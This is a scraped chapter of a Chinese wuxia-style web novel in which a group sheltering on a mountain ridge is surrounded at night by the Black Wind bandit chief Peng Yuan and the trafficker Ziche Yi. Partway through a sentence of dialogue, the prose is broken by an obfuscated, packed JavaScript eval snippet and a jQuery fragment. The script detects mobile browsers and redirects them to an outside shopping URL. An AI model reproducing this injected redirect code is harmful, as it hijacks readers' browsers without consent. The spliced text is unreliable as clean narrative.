默认冷灰
24号文字
方正启体

9. 土匪

作者:包子门本书字数:K更新时间:
    众人悄然呆在自己的位置,怀着忐忑的心情警惕着周围的一切,但所预想的敌袭并未发生,他们相安无事的度过了上半夜。


    下半夜果然如李书所料,开始淅淅沥沥的下起了雨。


    好在雨下的不大,时间也短,大约一炷香的时间后,雨便停了。


    天上的云淡了一些,树林不再是伸手不见五指的漆黑,迎着微弱的月光,一阵冷风吹过,寒意便从皮层刺入骨髓。


    李书打了个冷颤。


    他不住的搓手,环顾四周。立冬之后的山林,万籁俱静,鸟儿小虫都不愿出来,唯有风吹动树叶和水滴落下的声响。


    没有任何异常。


    再三考虑之后,李书决定先撤回一半的人到营地烤火,否则再这么冻下去,敌人不一定到来,自己人却有大概率冻伤。


    他正准备去叫人,却听见一个稚嫩的声音:“小哥哥,阿叔,那里好像有……烟?”


    刚从营地上来的苏茴扒着石壁沿,指着一个方位。


    谢岁安循着她指的方向看去,漆黑朦胧一片,他并没有看出什么。


    他转头看向同样望着那个方位的李书:“李大哥,你有看到吗?”


    李书摇头:“太黑了,看不出什么。”他略微迟疑,“小茴,你确定你看到的是烟吗,不是雾?”


    苏茴又盯着看了好一会,才仰头回话:“阿叔,是烟,跟我们熄灭火堆之后柴火冒出的烟是一样的,而且……有好几堆烟。”


    谢岁安的心骤然沉了下去。


    或许其他人会觉得五岁小孩分不清烟和雾,会根据自己浅薄的认知臆想胡说,但自人贩子事件后谢岁安日日都和苏茴在一起,他不说对苏茴了如指掌,却也能断定苏茴此言既非臆想,也非看错。


    他摸了摸苏茴的脑袋:“小茴,你先下去,和子非哥哥呆在一起,跟哥哥说把火堆灭了,呆在凹处躲好,不要出来。”


    苏茴扯了下他的衣袖,神色有些紧张:“小哥哥,是,坏人要来了吗?”


    “别怕,小茴,不会有事的。听话,去找子非哥哥。”


    苏茴忍不住将手中的衣袖揪了一圈,看着小哥哥冲她露出一个安抚的笑,才一点一点的松手。


    她点头,又看了眼谢岁安和李书,才爬下岩壁,小跑着进了凹处。


    她一边跑着,一边甚至能听见砰砰的剧烈心跳。


    那被人牙子拐走,在马车上被五花大绑日日恐惧担心的感觉又重新浮现。


    她以为自己已经淡忘,但此刻那段记忆却不断的在她脑海中回放——


    被鞭打、被责骂,断水、断食,戏班子那些人看她的奇怪眼神、还有他们充满恶意的调笑话语……


    苏茴忍不住打了个寒颤。


    如果再被那个班主抓到,是不是又要过那种惶恐不安的日子?


    不,也许不止是那样,会更糟。


    她想起之前和娘亲一起遇到土匪时的场景。


    大刀,比她还长的大刀砍了李嬷嬷的背,斩了赵伯的头,她完全被吓呆了,那猎猎长刀挥舞着就要劈向她的头颅,在即将抵达她脑门的下一刻,她幸而被人救走了,可那种濒临死亡的恐惧,却深深的烙印在了她心底。


    也许这一次,她们会死。


    就跟之前遇匪时的其他人一样。


    苏茴停步,深呼吸几口气将脑子里面糟糕的情绪剔除。


    恐惧和害怕在这种生死关头毫无作用,只会让自己失去行动力变成其他人的拖累,就像之前她被土匪的大刀吓得不敢动弹,被嬷嬷推开才得以存活。而嬷嬷,代替她成了刀下亡魂。


    事态也许没有她想的那么糟糕。


    小哥哥在,子非哥哥在,还有李叔他们,一定会没事的。


    安慰好了自己,苏茴才转身进凹处跟其他人同步信息。


    谢岁安看苏茴爬下石壁,转头望李书。


    “李大哥,小茴她的视力是比常人要好很多,她看到的烟是真的,我估计,他们已经发现了我们的方位,正在向我们靠近。就是不知道他具体集结了多少人。”


    但苏茴说看到了好几堆烟,这个人数,只怕是二十往上。


    怕是一场恶战。


    李书的心情愈发沉重,但多年的走镖生涯让他依然镇定,起码表面看不出分毫。


    “是福不是祸,是祸躲不过。“他握住了身侧的刀柄,与谢岁安对视,”岁安,你通知左侧的兄弟,我去右侧,让大家打起十二分的精神,随时准备应战。”


    ……


    谢岁安才跟侧翼巡哨人员同步完信息,预警铃忽地叮当响起。


    来人像是意识到什么,顿了几秒后撤去。


    几人对视一眼,霎时警铃大作,人来了。


    “两位继续隐藏在侧翼,与敌人迂回作战,一旦有人企图靠近矮墙向上,不用留余地,即刻斩杀。”


    谢岁安言毕,提气向岩壁爬去。


    只是他才爬到一半,下面忽然火光大盛,一排一排的火把传递亮起,最后居然形成了一大片。


    谢岁安只能看清亮起的火把与攒动的人影,他根据火把粗略的估计了下,大概有三四十人。


    为了对付他们几个,居然出动了这么多人吗?


    所以果真是子车仪?可是他从哪里召集的这么多人?


    谢岁安脸色沉重,他一个大跳进了凹处,将苏茴带出,指向前面的火光。


    “小茴,前面火光那里,你能看清楚吗,举着火把的是人还是什么?”


    苏茴仔细看了一会儿,脸色逐渐苍白。


    她转头看向谢岁安,嘴唇抖了抖才找到声音:“小哥哥,是人,每一个举着火把的,都是人。甚至还不止,有些……根本没举着火把。”


    “能看清大概多少人吗?”


    “起码五六十。”


    五六十……谢岁安嚼了下这个数字。


    “小哥哥?”


    感知到袖子被扯住,谢岁安这才猛然回神。


    他冲苏茴笑了笑,抱起她摸了摸头:“小茴,不怕。”


    不怕么?可是她分明看见他的手在抖。


    她揽上谢岁安的脖子:“嗯,不怕。”


    从外沿到凹处也不过转个弯几步路的脚程,谢岁安很快站定在陈子非面前。


    谢岁安一边将苏茴放下,一边和陈子非道:


    “子非哥,来的人比想象中还要多上一倍,少说有五六十,这里决计是守不住了,按照我们原先商定的,等下我让长文哥上来,你带着小茴、陈林哥跟长文哥从石壁后面的绳索先走。”


    “他们的人估计大部分都在我们这边,但也不排除在后面的路上设埋伏,你们一定要小心。”


    陈子非心下诧异,怎么会有这么多的人?


    但现在思考这些并无用处,他看着眼前才将将到自己腰部的小孩,想让他跟自己一起走。


    无论谢岁安再怎么武功高强、足智多谋,说到底,他现在也只是一个九岁的、应当被人护着的小孩。


    可是陈子非想起之前他们商议撤退计划时,他刚提出让岁安跟他们一起,他便摇头拒绝。


    “子非哥,你跟小茴先走,如果是子车仪,我们都不在,他会立刻改变计划。我在前面拖住他们,晚一步撤退,我的功夫你是知道的,我们一起只会互相拖累,你们不在我还能跑的快些。”


    陈子非知道他说的都是对的,也是最好的办法。


    最终劝人的话在喉咙中转了一圈,被他咽了下去。


    他拍了拍谢岁安的肩膀,眸中担忧甚甚:“你要小心,切不可冒头冲阵,跟紧你李大哥,一切以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550968|204339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    性命为先。”


    谢岁安点头,向陈子非露出一个笑:“我知道的,子非哥,我不会有事的。”说着,他又将目光转向苏茴,“子非哥,小茴的夜视能力极强,你可以让她先观测道路,初步判断之后再前进,小茴……就劳你多费心照顾。”


    陈子非啧了声:“你这说的什么话,她是我的妹妹,照顾不是应该的?自然是我在哪里她在哪里。”


    “这是自然。”谢岁安笑,“毕竟子非哥你是天底下最好的哥哥。”


    “好啊臭小子,都什么时候了,还揶揄我?”


    苏茴没什么闹的心思,抿唇拉了下谢岁安的衣袖。


    “小哥哥,你小心,我……我们在前面等你。”


    拉着他的小孩微仰起头,扑簌的鹿眼中蒙上点点压制不住的水雾,红唇抿成一条直线,不安与担忧都是那样的明显。


    谢岁安再度摸了摸她的头,拉住她的手交给陈子非。


    目送着陈子非三人离去的身影,谢岁安收回视线,回到矮墙内岩,李书正握着大砍刀紧紧盯着前面不断靠近的火把和人影。


    “子非哥他们四个已经走了。”


    李书点点头:“好,我们观察下来人,一旦我吹哨,即刻撤离。”


    泠泠的月光挥洒,勾勒出李书粗粒的轮廓,他的眼始终贯注前方,在某一个时刻,微微一缩:“来了。”


    岩下那一小方阵的火把散开,露出一个身高八尺、健硕异常的男人,他提着一把流星锤,走到了阵前。


    大锤砸地,轰鸣微响,那男人粗狂的声音像猛兽异动:


    “上面的人听着,我是黑风寨的大当家彭渊,你们已经被我们的人包围了,识相的,赶紧从上面下来,交出你们的财物和那个小男孩,爷爷我可以放你们一条生路。”


    李书没有回话,反而转头看向谢岁安:“怎么样,找到了吗?”


    “嗯,找到了,就是子车仪。”谢岁安点头,手指着距彭渊一步之遥的黑袍男人。


    虽早有准备,但在确认的时刻,最后一丝侥幸也被打碎。


    李书敛下所有心绪,这才回头应和:


    “早闻黑风寨的彭大当家是个威武勇猛、有情有义的绿林豪客,怎么您如今还和散尽天良的人牙头子混迹一起?大当家想要钱财尽管好说,我们押送的镖物都在不远处的山洞,你尽可取去,权当今日结交一个朋友。”


    彭渊闻言大笑几声:“你这后生既知我是个有情义的,那如何不知我为兄弟出头?我兄弟好心收留那黄毛小儿,他却生生毁了我兄弟的戏班子,害他一众弟兄性命,让他只能像只老鼠一样躲躲藏藏,我这个做大哥的岂有不视之理?”


    此等言语着实不要脸。


    但和土匪辩驳黑白、律法无异对牛弹琴,尤其这种所谓兄弟情谊大过天的土匪。


    “大当家既然已经知晓事情的来龙去脉,想必也知道我们这一行人是什么身份,从何处来到哪里去。我家公子乃白云县令之子,此行是为护送公子进京赶考,我家大人是当朝丞相的门生,大人的哥哥更是在朝二品大员,公子的母亲则是北平一带白云商会的掌事人。”


    “大当家与我们无冤无仇,今日权当一场误会,何苦为了个人牙子招惹上朝廷?这样吧,本就在冬季,这夜黑风高又下雨的,兄弟们出来一趟也着实不容易,那山洞几大车的财物我们愿悉数奉上,这样兄弟们也不白出来一趟,你放我们一马,化干戈为玉帛,这样你好我好大家都好,大当家以为呢?”


    土匪不在乎律法,不在意真相,但他们也会审时度势,惧怕死亡。


    比起为兄弟报仇,自己的性命和利益,自然更为重要。


    彭渊闻言一惊,不由愠怒的看向子车仪:“你不是说,他就是个县令家的公子哥,怎么还有这么复杂的背景?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)